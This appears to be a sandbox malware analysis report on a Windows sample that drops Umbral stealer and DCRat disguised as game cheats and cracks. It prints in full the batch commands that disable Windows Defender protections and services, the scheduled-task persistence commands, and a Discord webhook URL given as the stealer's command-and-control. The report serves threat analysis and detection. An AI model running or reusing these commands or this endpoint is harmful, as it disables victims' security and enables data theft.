Analysis

  • max time kernel
    119s
  • max time network
    120s
  • platform
    windows7_x64
  • resource
    win7-20241023-en
  • resource tags

    arch:x64arch:x86image:win7-20241023-enlocale:en-usos:windows7-x64system
  • submitted
    30-10-2024 11:36

General

  • Target

    E3A480A53D8B2C398A7642E1F4E84785.exe

  • Size

    12.9MB

  • MD5

    e3a480a53d8b2c398a7642e1f4e84785

  • SHA1

    7f8fa5e3dc9be9055f9202213be33460a1af1e09

  • SHA256

    11e550c201ee70fb01902b1e84b19a133c0861e170c764db9d8755be67fdcde2

  • SHA512

    b3fce5ac73b75fb70d6c798517426ee614b72f24236baf07752f1289a8ce78d74c3c1ec5168f1d8fbcaa5b7de072ef3175f895ac1a49379f716209df49d103e8

  • SSDEEP

    393216:oJlQ1evI2bs6Yuno3rkJ3InoKasOnHDJaM8t:obQpgssCKInwjJaMu

Malware Config

Extracted

Family

umbral

C2

https://discord.com/api/webhooks/1266665187293794356/BgUJDQi9QXAA0avjRcAiy-uTUWdbVUSk8SQjon--JNjDxPP5bEhE6DLfJFghJ_KLSRhA

Signatures

  • DcRat

    DarkCrystal(DC) is a new .NET RAT active since June 2019 capable of loading additional plugins.

  • Dcrat family
  • Detect Umbral payload 3 IoCs
  • Modifies WinLogon for persistence 2 TTPs 4 IoCs
  • Modifies Windows Defender Real-time Protection settings 3 TTPs 21 IoCs
  • Modifies security service 2 TTPs 2 IoCs
  • Process spawned unexpected child process 12 IoCs

    This typically indicates the parent process was compromised via an exploit or macro.

  • Umbral

    Umbral stealer is an opensource moduler stealer written in C#.

  • Umbral family
  • DCRat payload 4 IoCs

    Detects payload of DCRat, commonly dropped by NSIS installers.

  • Executes dropped EXE 7 IoCs
  • Loads dropped DLL 10 IoCs
  • VMProtect packed file 3 IoCs

    Detects executables packed with VMProtect commercial packer.

  • Adds Run key to start application 2 TTPs 8 IoCs
  • Looks up external IP address via web service 1 IoCs

    Uses a legitimate IP lookup service to find the infected system's external IP.

  • Modifies Security services 2 TTPs 8 IoCs

    Modifies the startup behavior of a security service.

  • Suspicious use of NtSetInformationThreadHideFromDebugger 2 IoCs
  • Drops file in Program Files directory 3 IoCs
  • Drops file in Windows directory 2 IoCs
  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s).

  • System Location Discovery: System Language Discovery 1 TTPs 64 IoCs

    Attempt gather information about the system language of a victim in order to infer the geographical location of that host.

  • Scheduled Task/Job: Scheduled Task 1 TTPs 12 IoCs

    Schtasks is often used by malware for persistence or to perform post-infection execution.

  • Suspicious behavior: EnumeratesProcesses 10 IoCs
  • Suspicious use of AdjustPrivilegeToken 43 IoCs
  • Suspicious use of WriteProcessMemory 64 IoCs
  • Uses Task Scheduler COM API 1 TTPs

    The Task Scheduler COM API can be used to schedule applications to run on boot or at set times.

Processes

  • C:\Users\Admin\AppData\Local\Temp\E3A480A53D8B2C398A7642E1F4E84785.exe
    "C:\Users\Admin\AppData\Local\Temp\E3A480A53D8B2C398A7642E1F4E84785.exe"
    1⤵
    • Loads dropped DLL
    • System Location Discovery: System Language Discovery
    • Suspicious use of WriteProcessMemory
    PID:2360
    • C:\Users\Admin\AppData\Local\Temp\52cheatand52rat.exe
      "C:\Users\Admin\AppData\Local\Temp\52cheatand52rat.exe"
      2⤵
      • Executes dropped EXE
      • Suspicious use of AdjustPrivilegeToken
      PID:2044
      • C:\Windows\System32\Wbem\wmic.exe
        "wmic.exe" csproduct get uuid
        3⤵
        • Suspicious use of AdjustPrivilegeToken
        PID:1908
    • C:\Users\Admin\AppData\Local\Temp\Primordial Crack.exe
      "C:\Users\Admin\AppData\Local\Temp\Primordial Crack.exe"
      2⤵
      • Executes dropped EXE
      • Loads dropped DLL
      • System Location Discovery: System Language Discovery
      • Suspicious use of WriteProcessMemory
      PID:2600
      • C:\Users\Admin\AppData\Local\Temp\Lunch LaCheatV2.exe
        "C:\Users\Admin\AppData\Local\Temp\Lunch LaCheatV2.exe"
        3⤵
        • Executes dropped EXE
        • Loads dropped DLL
        • Suspicious use of NtSetInformationThreadHideFromDebugger
        • System Location Discovery: System Language Discovery
        • Suspicious behavior: EnumeratesProcesses
        PID:2916
        • C:\Users\Admin\AppData\Local\Temp\Lunch LaCheat.exe
          "C:\Users\Admin\AppData\Local\Temp\Lunch LaCheat.exe"
          4⤵
          • Executes dropped EXE
          • Loads dropped DLL
          • Suspicious use of NtSetInformationThreadHideFromDebugger
          • System Location Discovery: System Language Discovery
          • Suspicious behavior: EnumeratesProcesses
          PID:2876
          • C:\Users\Admin\AppData\Local\Temp\DCRatBuild.exe
            "C:\Users\Admin\AppData\Local\Temp\DCRatBuild.exe"
            5⤵
            • Executes dropped EXE
            • System Location Discovery: System Language Discovery
            PID:1956
            • C:\Windows\SysWOW64\WScript.exe
              "C:\Windows\System32\WScript.exe" "C:\blockweb\J6PsSzBYKK7mXTJyYh2Tgne.vbe"
              6⤵
              • System Location Discovery: System Language Discovery
              PID:1852
              • C:\Windows\SysWOW64\cmd.exe
                cmd /c ""C:\blockweb\TOdra8QNG4wQEWkSimCHh9eVG.bat" "
                7⤵
                • Loads dropped DLL
                • System Location Discovery: System Language Discovery
                PID:2600
                • C:\blockweb\portrefNet.exe
                  "C:\blockweb\portrefNet.exe"
                  8⤵
                  • Modifies WinLogon for persistence
                  • Executes dropped EXE
                  • Adds Run key to start application
                  • Drops file in Program Files directory
                  • Drops file in Windows directory
                  • Suspicious behavior: EnumeratesProcesses
                  • Suspicious use of AdjustPrivilegeToken
                  PID:2936
                  • C:\Windows\TAPI\spoolsv.exe
                    "C:\Windows\TAPI\spoolsv.exe"
                    9⤵
                    • Executes dropped EXE
                    • Suspicious behavior: EnumeratesProcesses
                    • Suspicious use of AdjustPrivilegeToken
                    PID:2292
            • C:\Windows\SysWOW64\WScript.exe
              "C:\Windows\System32\WScript.exe" "C:\blockweb\file.vbs"
              6⤵
              • System Location Discovery: System Language Discovery
              PID:1580
      • C:\Windows\SysWOW64\cmd.exe
        cmd /c ""C:\Users\Admin\AppData\Local\Temp\windows defender.bat" "
        3⤵
        • System Location Discovery: System Language Discovery
        • Suspicious use of WriteProcessMemory
        PID:332
        • C:\Windows\SysWOW64\reg.exe
          reg delete "HKLM\Software\Policies\Microsoft\Windows Defender" /f
          4⤵
          • Modifies Windows Defender Real-time Protection settings
          PID:2860
        • C:\Windows\SysWOW64\reg.exe
          reg add "HKLM\Software\Policies\Microsoft\Windows Defender" /v "DisableAntiSpyware" /t REG_DWORD /d "1" /f
          4⤵
          • System Location Discovery: System Language Discovery
          PID:2808
        • C:\Windows\SysWOW64\reg.exe
          reg add "HKLM\Software\Policies\Microsoft\Windows Defender" /v "DisableAntiVirus" /t REG_DWORD /d "1" /f
          4⤵
          • System Location Discovery: System Language Discovery
          PID:2928
        • C:\Windows\SysWOW64\reg.exe
          reg add "HKLM\Software\Policies\Microsoft\Windows Defender\MpEngine" /v "MpEnablePus" /t REG_DWORD /d "0" /f
          4⤵
          • System Location Discovery: System Language Discovery
          PID:2688
        • C:\Windows\SysWOW64\reg.exe
          reg add "HKLM\Software\Policies\Microsoft\Windows Defender\Real-Time Protection" /v "DisableBehaviorMonitoring" /t REG_DWORD /d "1" /f
          4⤵
          • Modifies Windows Defender Real-time Protection settings
          • System Location Discovery: System Language Discovery
          PID:2756
        • C:\Windows\SysWOW64\reg.exe
          reg add "HKLM\Software\Policies\Microsoft\Windows Defender\Real-Time Protection" /v "DisableIOAVProtection" /t REG_DWORD /d "1" /f
          4⤵
          • Modifies Windows Defender Real-time Protection settings
          • System Location Discovery: System Language Discovery
          PID:2768
        • C:\Windows\SysWOW64\reg.exe
          reg add "HKLM\Software\Policies\Microsoft\Windows Defender\Real-Time Protection" /v "DisableOnAccessProtection" /t REG_DWORD /d "1" /f
          4⤵
          • Modifies Windows Defender Real-time Protection settings
          • System Location Discovery: System Language Discovery
          PID:2328
        • C:\Windows\SysWOW64\reg.exe
          reg add "HKLM\Software\Policies\Microsoft\Windows Defender\Real-Time Protection" /v "DisableRealtimeMonitoring" /t REG_DWORD /d "1" /f
          4⤵
          • Modifies Windows Defender Real-time Protection settings
          • System Location Discovery: System Language Discovery
          PID:1752
        • C:\Windows\SysWOW64\reg.exe
          reg add "HKLM\Software\Policies\Microsoft\Windows Defender\Real-Time Protection" /v "DisableScanOnRealtimeEnable" /t REG_DWORD /d "1" /f
          4⤵
          • Modifies Windows Defender Real-time Protection settings
          • System Location Discovery: System Language Discovery
          PID:2004
        • C:\Windows\SysWOW64\reg.exe
          reg add "HKLM\Software\Policies\Microsoft\Windows Defender\Reporting" /v "DisableEnhancedNotifications" /t REG_DWORD /d "1" /f
          4⤵
          • System Location Discovery: System Language Discovery
          PID:548
        • C:\Windows\SysWOW64\reg.exe
          reg add "HKLM\Software\Policies\Microsoft\Windows Defender\SpyNet" /v "DisableBlockAtFirstSeen" /t REG_DWORD /d "1" /f
          4⤵
          • System Location Discovery: System Language Discovery
          PID:3068
        • C:\Windows\SysWOW64\reg.exe
          reg add "HKLM\Software\Policies\Microsoft\Windows Defender\SpyNet" /v "SpynetReporting" /t REG_DWORD /d "0" /f
          4⤵
          • System Location Discovery: System Language Discovery
          PID:3048
        • C:\Windows\SysWOW64\reg.exe
          reg add "HKLM\Software\Policies\Microsoft\Windows Defender\SpyNet" /v "SubmitSamplesConsent" /t REG_DWORD /d "2" /f
          4⤵
          • System Location Discovery: System Language Discovery
          PID:1696
        • C:\Windows\SysWOW64\reg.exe
          reg add "HKLM\System\CurrentControlSet\Control\WMI\Autologger\DefenderApiLogger" /v "Start" /t REG_DWORD /d "0" /f
          4⤵
          • System Location Discovery: System Language Discovery
          PID:1704
        • C:\Windows\SysWOW64\reg.exe
          reg add "HKLM\System\CurrentControlSet\Control\WMI\Autologger\DefenderAuditLogger" /v "Start" /t REG_DWORD /d "0" /f
          4⤵
            PID:3020
          • C:\Windows\SysWOW64\schtasks.exe
            schtasks /Change /TN "Microsoft\Windows\ExploitGuard\ExploitGuard MDM policy Refresh" /Disable
            4⤵
            • System Location Discovery: System Language Discovery
            PID:3036
          • C:\Windows\SysWOW64\schtasks.exe
            schtasks /Change /TN "Microsoft\Windows\Windows Defender\Windows Defender Cache Maintenance" /Disable
            4⤵
            • System Location Discovery: System Language Discovery
            PID:3024
          • C:\Windows\SysWOW64\schtasks.exe
            schtasks /Change /TN "Microsoft\Windows\Windows Defender\Windows Defender Cleanup" /Disable
            4⤵
              PID:2980
            • C:\Windows\SysWOW64\schtasks.exe
              schtasks /Change /TN "Microsoft\Windows\Windows Defender\Windows Defender Scheduled Scan" /Disable
              4⤵
              • System Location Discovery: System Language Discovery
              PID:1436
            • C:\Windows\SysWOW64\schtasks.exe
              schtasks /Change /TN "Microsoft\Windows\Windows Defender\Windows Defender Verification" /Disable
              4⤵
              • System Location Discovery: System Language Discovery
              PID:2292
            • C:\Windows\SysWOW64\reg.exe
              reg delete "HKLM\Software\Microsoft\Windows\CurrentVersion\Explorer\StartupApproved\Run" /v "SecurityHealth" /f
              4⤵
              • System Location Discovery: System Language Discovery
              PID:2072
            • C:\Windows\SysWOW64\reg.exe
              reg delete "HKLM\Software\Microsoft\Windows\CurrentVersion\Run" /v "SecurityHealth" /f
              4⤵
              • System Location Discovery: System Language Discovery
              PID:1244
            • C:\Windows\SysWOW64\reg.exe
              reg delete "HKCR\*\shellex\ContextMenuHandlers\EPP" /f
              4⤵
              • System Location Discovery: System Language Discovery
              PID:2448
            • C:\Windows\SysWOW64\reg.exe
              reg delete "HKCR\Directory\shellex\ContextMenuHandlers\EPP" /f
              4⤵
              • System Location Discovery: System Language Discovery
              PID:2320
            • C:\Windows\SysWOW64\reg.exe
              reg delete "HKCR\Drive\shellex\ContextMenuHandlers\EPP" /f
              4⤵
              • System Location Discovery: System Language Discovery
              PID:2272
            • C:\Windows\SysWOW64\reg.exe
              reg add "HKLM\System\CurrentControlSet\Services\WdBoot" /v "Start" /t REG_DWORD /d "4" /f
              4⤵
              • Modifies Security services
              • System Location Discovery: System Language Discovery
              PID:2300
            • C:\Windows\SysWOW64\reg.exe
              reg add "HKLM\System\CurrentControlSet\Services\WdFilter" /v "Start" /t REG_DWORD /d "4" /f
              4⤵
              • Modifies Security services
              • System Location Discovery: System Language Discovery
              PID:2240
            • C:\Windows\SysWOW64\reg.exe
              reg add "HKLM\System\CurrentControlSet\Services\WdNisDrv" /v "Start" /t REG_DWORD /d "4" /f
              4⤵
              • Modifies Security services
              • System Location Discovery: System Language Discovery
              PID:2148
            • C:\Windows\SysWOW64\reg.exe
              reg add "HKLM\System\CurrentControlSet\Services\WdNisSvc" /v "Start" /t REG_DWORD /d "4" /f
              4⤵
              • Modifies Security services
              • System Location Discovery: System Language Discovery
              PID:2420
            • C:\Windows\SysWOW64\reg.exe
              reg add "HKLM\System\CurrentControlSet\Services\WinDefend" /v "Start" /t REG_DWORD /d "4" /f
              4⤵
              • Modifies security service
              PID:1976
        • C:\Windows\SysWOW64\cmd.exe
          cmd /c ""C:\Users\Admin\AppData\Local\Temp\windows defender.bat" "
          2⤵
          • System Location Discovery: System Language Discovery
          • Suspicious use of WriteProcessMemory
          PID:2568
          • C:\Windows\SysWOW64\reg.exe
            reg delete "HKLM\Software\Policies\Microsoft\Windows Defender" /f
            3⤵
            • System Location Discovery: System Language Discovery
            PID:2904
          • C:\Windows\SysWOW64\reg.exe
            reg add "HKLM\Software\Policies\Microsoft\Windows Defender" /v "DisableAntiSpyware" /t REG_DWORD /d "1" /f
            3⤵
            • System Location Discovery: System Language Discovery
            PID:2908
          • C:\Windows\SysWOW64\reg.exe
            reg add "HKLM\Software\Policies\Microsoft\Windows Defender" /v "DisableAntiVirus" /t REG_DWORD /d "1" /f
            3⤵
            • System Location Discovery: System Language Discovery
            PID:2264
          • C:\Windows\SysWOW64\reg.exe
            reg add "HKLM\Software\Policies\Microsoft\Windows Defender\MpEngine" /v "MpEnablePus" /t REG_DWORD /d "0" /f
            3⤵
            • System Location Discovery: System Language Discovery
            PID:2952
          • C:\Windows\SysWOW64\reg.exe
            reg add "HKLM\Software\Policies\Microsoft\Windows Defender\Real-Time Protection" /v "DisableBehaviorMonitoring" /t REG_DWORD /d "1" /f
            3⤵
            • Modifies Windows Defender Real-time Protection settings
            • System Location Discovery: System Language Discovery
            PID:2964
          • C:\Windows\SysWOW64\reg.exe
            reg add "HKLM\Software\Policies\Microsoft\Windows Defender\Real-Time Protection" /v "DisableIOAVProtection" /t REG_DWORD /d "1" /f
            3⤵
            • Modifies Windows Defender Real-time Protection settings
            PID:2988
          • C:\Windows\SysWOW64\reg.exe
            reg add "HKLM\Software\Policies\Microsoft\Windows Defender\Real-Time Protection" /v "DisableOnAccessProtection" /t REG_DWORD /d "1" /f
            3⤵
            • Modifies Windows Defender Real-time Protection settings
            • System Location Discovery: System Language Discovery
            PID:2720
          • C:\Windows\SysWOW64\reg.exe
            reg add "HKLM\Software\Policies\Microsoft\Windows Defender\Real-Time Protection" /v "DisableRealtimeMonitoring" /t REG_DWORD /d "1" /f
            3⤵
            • Modifies Windows Defender Real-time Protection settings
            • System Location Discovery: System Language Discovery
            PID:2716
          • C:\Windows\SysWOW64\reg.exe
            reg add "HKLM\Software\Policies\Microsoft\Windows Defender\Real-Time Protection" /v "DisableScanOnRealtimeEnable" /t REG_DWORD /d "1" /f
            3⤵
            • Modifies Windows Defender Real-time Protection settings
            • System Location Discovery: System Language Discovery
            PID:2832
          • C:\Windows\SysWOW64\reg.exe
            reg add "HKLM\Software\Policies\Microsoft\Windows Defender\Reporting" /v "DisableEnhancedNotifications" /t REG_DWORD /d "1" /f
            3⤵
            • System Location Discovery: System Language Discovery
            PID:2748
          • C:\Windows\SysWOW64\reg.exe
            reg add "HKLM\Software\Policies\Microsoft\Windows Defender\SpyNet" /v "DisableBlockAtFirstSeen" /t REG_DWORD /d "1" /f
            3⤵
            • System Location Discovery: System Language Discovery
            PID:2692
          • C:\Windows\SysWOW64\reg.exe
            reg add "HKLM\Software\Policies\Microsoft\Windows Defender\SpyNet" /v "SpynetReporting" /t REG_DWORD /d "0" /f
            3⤵
            • System Location Discovery: System Language Discovery
            PID:2708
          • C:\Windows\SysWOW64\reg.exe
            reg add "HKLM\Software\Policies\Microsoft\Windows Defender\SpyNet" /v "SubmitSamplesConsent" /t REG_DWORD /d "2" /f
            3⤵
            • System Location Discovery: System Language Discovery
            PID:2724
          • C:\Windows\SysWOW64\reg.exe
            reg add "HKLM\System\CurrentControlSet\Control\WMI\Autologger\DefenderApiLogger" /v "Start" /t REG_DWORD /d "0" /f
            3⤵
            • System Location Discovery: System Language Discovery
            PID:2816
          • C:\Windows\SysWOW64\reg.exe
            reg add "HKLM\System\CurrentControlSet\Control\WMI\Autologger\DefenderAuditLogger" /v "Start" /t REG_DWORD /d "0" /f
            3⤵
              PID:2864
            • C:\Windows\SysWOW64\schtasks.exe
              schtasks /Change /TN "Microsoft\Windows\ExploitGuard\ExploitGuard MDM policy Refresh" /Disable
              3⤵
              • System Location Discovery: System Language Discovery
              PID:1996
            • C:\Windows\SysWOW64\schtasks.exe
              schtasks /Change /TN "Microsoft\Windows\Windows Defender\Windows Defender Cache Maintenance" /Disable
              3⤵
              • System Location Discovery: System Language Discovery
              PID:1440
            • C:\Windows\SysWOW64\schtasks.exe
              schtasks /Change /TN "Microsoft\Windows\Windows Defender\Windows Defender Cleanup" /Disable
              3⤵
              • System Location Discovery: System Language Discovery
              PID:3004
            • C:\Windows\SysWOW64\schtasks.exe
              schtasks /Change /TN "Microsoft\Windows\Windows Defender\Windows Defender Scheduled Scan" /Disable
              3⤵
              • System Location Discovery: System Language Discovery
              PID:3008
            • C:\Windows\SysWOW64\schtasks.exe
              schtasks /Change /TN "Microsoft\Windows\Windows Defender\Windows Defender Verification" /Disable
              3⤵
              • System Location Discovery: System Language Discovery
              PID:2116
            • C:\Windows\SysWOW64\reg.exe
              reg delete "HKLM\Software\Microsoft\Windows\CurrentVersion\Explorer\StartupApproved\Run" /v "SecurityHealth" /f
              3⤵
              • System Location Discovery: System Language Discovery
              PID:2156
            • C:\Windows\SysWOW64\reg.exe
              reg delete "HKLM\Software\Microsoft\Windows\CurrentVersion\Run" /v "SecurityHealth" /f
              3⤵
              • System Location Discovery: System Language Discovery
              PID:1448
            • C:\Windows\SysWOW64\reg.exe
              reg delete "HKCR\*\shellex\ContextMenuHandlers\EPP" /f
              3⤵
              • System Location Discovery: System Language Discovery
              PID:1296
            • C:\Windows\SysWOW64\reg.exe
              reg delete "HKCR\Directory\shellex\ContextMenuHandlers\EPP" /f
              3⤵
              • System Location Discovery: System Language Discovery
              PID:1432
            • C:\Windows\SysWOW64\reg.exe
              reg delete "HKCR\Drive\shellex\ContextMenuHandlers\EPP" /f
              3⤵
              • System Location Discovery: System Language Discovery
              PID:1952
            • C:\Windows\SysWOW64\reg.exe
              reg add "HKLM\System\CurrentControlSet\Services\WdBoot" /v "Start" /t REG_DWORD /d "4" /f
              3⤵
              • Modifies Security services
              • System Location Discovery: System Language Discovery
              PID:1764
            • C:\Windows\SysWOW64\reg.exe
              reg add "HKLM\System\CurrentControlSet\Services\WdFilter" /v "Start" /t REG_DWORD /d "4" /f
              3⤵
              • Modifies Security services
              • System Location Discovery: System Language Discovery
              PID:2204
            • C:\Windows\SysWOW64\reg.exe
              reg add "HKLM\System\CurrentControlSet\Services\WdNisDrv" /v "Start" /t REG_DWORD /d "4" /f
              3⤵
              • Modifies Security services
              • System Location Discovery: System Language Discovery
              PID:2140
            • C:\Windows\SysWOW64\reg.exe
              reg add "HKLM\System\CurrentControlSet\Services\WdNisSvc" /v "Start" /t REG_DWORD /d "4" /f
              3⤵
              • Modifies Security services
              • System Location Discovery: System Language Discovery
              PID:2128
            • C:\Windows\SysWOW64\reg.exe
              reg add "HKLM\System\CurrentControlSet\Services\WinDefend" /v "Start" /t REG_DWORD /d "4" /f
              3⤵
              • Modifies security service
              • System Location Discovery: System Language Discovery
              PID:1700
        • C:\Windows\system32\conhost.exe
          \??\C:\Windows\system32\conhost.exe "2901126771482405252264352241365865086-1441017042-115469157-1705281598969164784"
          1⤵
            PID:2264
          • C:\Windows\system32\schtasks.exe
            schtasks.exe /create /tn "SystemS" /sc MINUTE /mo 10 /tr "'C:\Program Files (x86)\Microsoft SQL Server Compact Edition\System.exe'" /f
            1⤵
            • Process spawned unexpected child process
            • Scheduled Task/Job: Scheduled Task
            PID:2092
          • C:\Windows\system32\schtasks.exe
            schtasks.exe /create /tn "System" /sc ONLOGON /tr "'C:\Program Files (x86)\Microsoft SQL Server Compact Edition\System.exe'" /rl HIGHEST /f
            1⤵
            • Process spawned unexpected child process
            • Scheduled Task/Job: Scheduled Task
            PID:2508
          • C:\Windows\system32\schtasks.exe
            schtasks.exe /create /tn "SystemS" /sc MINUTE /mo 5 /tr "'C:\Program Files (x86)\Microsoft SQL Server Compact Edition\System.exe'" /rl HIGHEST /f
            1⤵
            • Process spawned unexpected child process
            • Scheduled Task/Job: Scheduled Task
            PID:1752
          • C:\Windows\system32\schtasks.exe
            schtasks.exe /create /tn "dllhostd" /sc MINUTE /mo 9 /tr "'C:\Recovery\480d7142-91a3-11ef-b9f6-6e5a89f5a3c7\dllhost.exe'" /f
            1⤵
            • Process spawned unexpected child process
            • Scheduled Task/Job: Scheduled Task
            PID:1996
          • C:\Windows\system32\schtasks.exe
            schtasks.exe /create /tn "dllhost" /sc ONLOGON /tr "'C:\Recovery\480d7142-91a3-11ef-b9f6-6e5a89f5a3c7\dllhost.exe'" /rl HIGHEST /f
            1⤵
            • Process spawned unexpected child process
            • Scheduled Task/Job: Scheduled Task
            PID:2996
          • C:\Windows\system32\schtasks.exe
            schtasks.exe /create /tn "dllhostd" /sc MINUTE /mo 8 /tr "'C:\Recovery\480d7142-91a3-11ef-b9f6-6e5a89f5a3c7\dllhost.exe'" /rl HIGHEST /f
            1⤵
            • Process spawned unexpected child process
            • Scheduled Task/Job: Scheduled Task
            PID:3020
          • C:\Windows\system32\schtasks.exe
            schtasks.exe /create /tn "WMIADAPW" /sc MINUTE /mo 14 /tr "'C:\blockweb\WMIADAP.exe'" /f
            1⤵
            • Process spawned unexpected child process
            • Scheduled Task/Job: Scheduled Task
            PID:3016
          • C:\Windows\system32\schtasks.exe
            schtasks.exe /create /tn "WMIADAP" /sc ONLOGON /tr "'C:\blockweb\WMIADAP.exe'" /rl HIGHEST /f
            1⤵
            • Process spawned unexpected child process
            • Scheduled Task/Job: Scheduled Task
            PID:3024
          • C:\Windows\system32\schtasks.exe
            schtasks.exe /create /tn "WMIADAPW" /sc MINUTE /mo 11 /tr "'C:\blockweb\WMIADAP.exe'" /rl HIGHEST /f
            1⤵
            • Process spawned unexpected child process
            • Scheduled Task/Job: Scheduled Task
            PID:1208
          • C:\Windows\system32\schtasks.exe
            schtasks.exe /create /tn "spoolsvs" /sc MINUTE /mo 5 /tr "'C:\Windows\TAPI\spoolsv.exe'" /f
            1⤵
            • Process spawned unexpected child process
            • Scheduled Task/Job: Scheduled Task
            PID:1952
          • C:\Windows\system32\schtasks.exe
            schtasks.exe /create /tn "spoolsv" /sc ONLOGON /tr "'C:\Windows\TAPI\spoolsv.exe'" /rl HIGHEST /f
            1⤵
            • Process spawned unexpected child process
            • Scheduled Task/Job: Scheduled Task
            PID:596
          • C:\Windows\system32\schtasks.exe
            schtasks.exe /create /tn "spoolsvs" /sc MINUTE /mo 9 /tr "'C:\Windows\TAPI\spoolsv.exe'" /rl HIGHEST /f
            1⤵
            • Process spawned unexpected child process
            • Scheduled Task/Job: Scheduled Task
            PID:2288

          Network

          MITRE ATT&CK Enterprise v15

          Replay Monitor

          Loading Replay Monitor...

          Downloads

          • C:\Users\Admin\AppData\Local\Temp\Cab2E72.tmp

            Filesize

            70KB

            MD5

            49aebf8cbd62d92ac215b2923fb1b9f5

            SHA1

            1723be06719828dda65ad804298d0431f6aff976

            SHA256

            b33efcb95235b98b48508e019afa4b7655e80cf071defabd8b2123fc8b29307f

            SHA512

            bf86116b015fb56709516d686e168e7c9c68365136231cc51d0b6542ae95323a71d2c7acec84aad7dcecc2e410843f6d82a0a6d51b9acfc721a9c84fdd877b5b

          • C:\Users\Admin\AppData\Local\Temp\Lunch LaCheat.exe

            Filesize

            7.5MB

            MD5

            b76057df968a944446f950dd4ddc6aec

            SHA1

            bb64de1c677368764000d34c29528ead2f48405c

            SHA256

            afe91fea04d39de5710ad065252d13b9df7b7bd25788ddf5afb162a2f0a03296

            SHA512

            7f45198fe05013ceab477784bde2b1c4532607bd8ba8d9cfb09c5bb037dd2616086c8cb3afd669b24ec89eedbd270d00f1bd6bce2644b40ed36b8f32fc5fdb31

          • C:\Users\Admin\AppData\Local\Temp\Lunch LaCheatV2.exe

            Filesize

            12.7MB

            MD5

            7db5128f7a81cc1af094d8898e79ff21

            SHA1

            d503984331d5999c14931c267d859fbd1510c282

            SHA256

            2952fa4ab9bc3e2b04b1f3ab6b648d0d23fa74856c50bf21fb13fddfe9a874bb

            SHA512

            caceec284b71df124d47267e5ca42bf84e558aa9606b0186f132fba8d2bead2ddbd9304cd82761270b6c42271e0937aeff605ef5d865c424cc29b39ca05b123a

          • C:\Users\Admin\AppData\Local\Temp\Tar2E94.tmp

            Filesize

            181KB

            MD5

            4ea6026cf93ec6338144661bf1202cd1

            SHA1

            a1dec9044f750ad887935a01430bf49322fbdcb7

            SHA256

            8efbc21559ef8b1bcf526800d8070baad42474ce7198e26fa771dbb41a76b1d8

            SHA512

            6c7e0980e39aacf4c3689802353f464a08cd17753bd210ee997e5f2a455deb4f287a9ef74d84579dbde49bc96213cd2b8b247723919c412ea980aa6e6bfe218b

          • C:\Users\Admin\AppData\Local\Temp\windows defender.bat

            Filesize

            3KB

            MD5

            4c35b71d2d89c8e8eb773854085c56ea

            SHA1

            ede16731e61348432c85ef13df4beb2be8096d9b

            SHA256

            3efeeaaabfd33ff95934bee4d6d84e4ecb158d1e7777f6eecd26b2746991ed42

            SHA512

            a6ccbb2913738ca171686a2dd70e96330b0972dadb64f7294ac2b4c9bb430c872ed2bcd360f778962162b9e3be305836fa7f6762b46310c0ad4d6ef0c1cdac8d

          • C:\blockweb\J6PsSzBYKK7mXTJyYh2Tgne.vbe

            Filesize

            221B

            MD5

            ca2cae3c10113fc32484a48196e2ffaa

            SHA1

            8eb74a53fe655c5b538246f42cc078d8900bf215

            SHA256

            98311058614dd00a0d0e9e9c38f9df5d1d951525741fc46901d1a396baddd8f2

            SHA512

            6cf05ca56f4c6320bc490401e742f81230e6c138651d958776f497d5e4889fe16c5853a1864791a3f10b4b3d103f5218894be4c7009d1eb7b32e243111b166af

          • C:\blockweb\TOdra8QNG4wQEWkSimCHh9eVG.bat

            Filesize

            39B

            MD5

            19fe83feec263d4e4e68e3dd0e6b3615

            SHA1

            7ff948a654d54acfde0e798fe1d67160343f8dfd

            SHA256

            07dc5ed69f4847071b41d0086ef8a11032c2d85b1ec8a8b00a5d29480c3e6744

            SHA512

            ee6fef4211b60dff50b7cdb88f9ec0028a67bc428ab854c0932db7e5873f9a22e16760d59ff6b885fdb96ed7f6582d3735f629d6e825dcfd1e8c13c5d5adae78

          • C:\blockweb\file.vbs

            Filesize

            34B

            MD5

            677cc4360477c72cb0ce00406a949c61

            SHA1

            b679e8c3427f6c5fc47c8ac46cd0e56c9424de05

            SHA256

            f1cccb5ae4aa51d293bd3c7d2a1a04cb7847d22c5db8e05ac64e9a6d7455aa0b

            SHA512

            7cfe2cc92f9e659f0a15a295624d611b3363bd01eb5bcf9bc7681ea9b70b0564d192d570d294657c8dc2c93497fa3b4526c975a9bf35d69617c31d9936573c6a

          • \Users\Admin\AppData\Local\Temp\52cheatand52rat.exe

            Filesize

            229KB

            MD5

            06129ffc46e854930cfcaa754ca1d487

            SHA1

            e7c173c48aa107ec63bd6f9030c9ec6fe889d832

            SHA256

            10d28e18a7df4b2c30e05e5e361f1724e0b6ea8c021d8105ee30354be79b98d1

            SHA512

            b7121a2a65f317edbc1b4dd8dec427c277fad2b521a211d1408bc06b79431c418dad32ed61481c5ef49511cd167846e026a86147ae77bd9b0e607918feb66ab9

          • \Users\Admin\AppData\Local\Temp\DCRatBuild.exe

            Filesize

            2.5MB

            MD5

            6e01d4882274684f48e04436103ad57f

            SHA1

            3b88df5fc9e6973bf3ecb1e2ed759b86774cb290

            SHA256

            424497764bc1e2cd57f454d173dceeb9dcd7f900aaf5060110da629d11fadf8d

            SHA512

            3e5ed6ee7458f4662dd9bbe572620fc591e69fbc6d8e98013ec0f39a95eb9da55561a232eea23192fbc59368b99f99ee6a00df23bcff253c327aa3eb607c7d7e

          • \Users\Admin\AppData\Local\Temp\Primordial Crack.exe

            Filesize

            12.7MB

            MD5

            bbd6ffdb33259778f08704696a04891f

            SHA1

            0fd836bb4bfc035ff35ebe0fb47e4693cec9e8ba

            SHA256

            841eb644979b3c640761762645c9cd26f9bb46e558eaeb7bf0c2a79e761878f4

            SHA512

            1b66f11b3a3dea1e6a8f4f7ee493437a41e30704d1c80048efd245184a447fde6abf06fe45af0663a72b30b657a7297554df8c3af7b36ae2e0df21a5031a34e0

          • \blockweb\portrefNet.exe

            Filesize

            2.2MB

            MD5

            84c6cb042dc58a109dfa2db8381bec28

            SHA1

            4a86e72e9d2c3e0c17cd3a09df754169f4b7ce31

            SHA256

            2e09ed806f9a7c57186872ab3715909437e2729500bc194e0a2cf3405c4cd5f0

            SHA512

            c8ef31a3eaeac8ef0faa043d0bdd085063d54572d0a7eefade08a9db5f97c397bb3270baca71817da9d91c0d1227fcee9ce019065bb5a66f20fed9d7349ab0ef

          • memory/2044-6-0x000007FEF5CB3000-0x000007FEF5CB4000-memory.dmp

            Filesize

            4KB

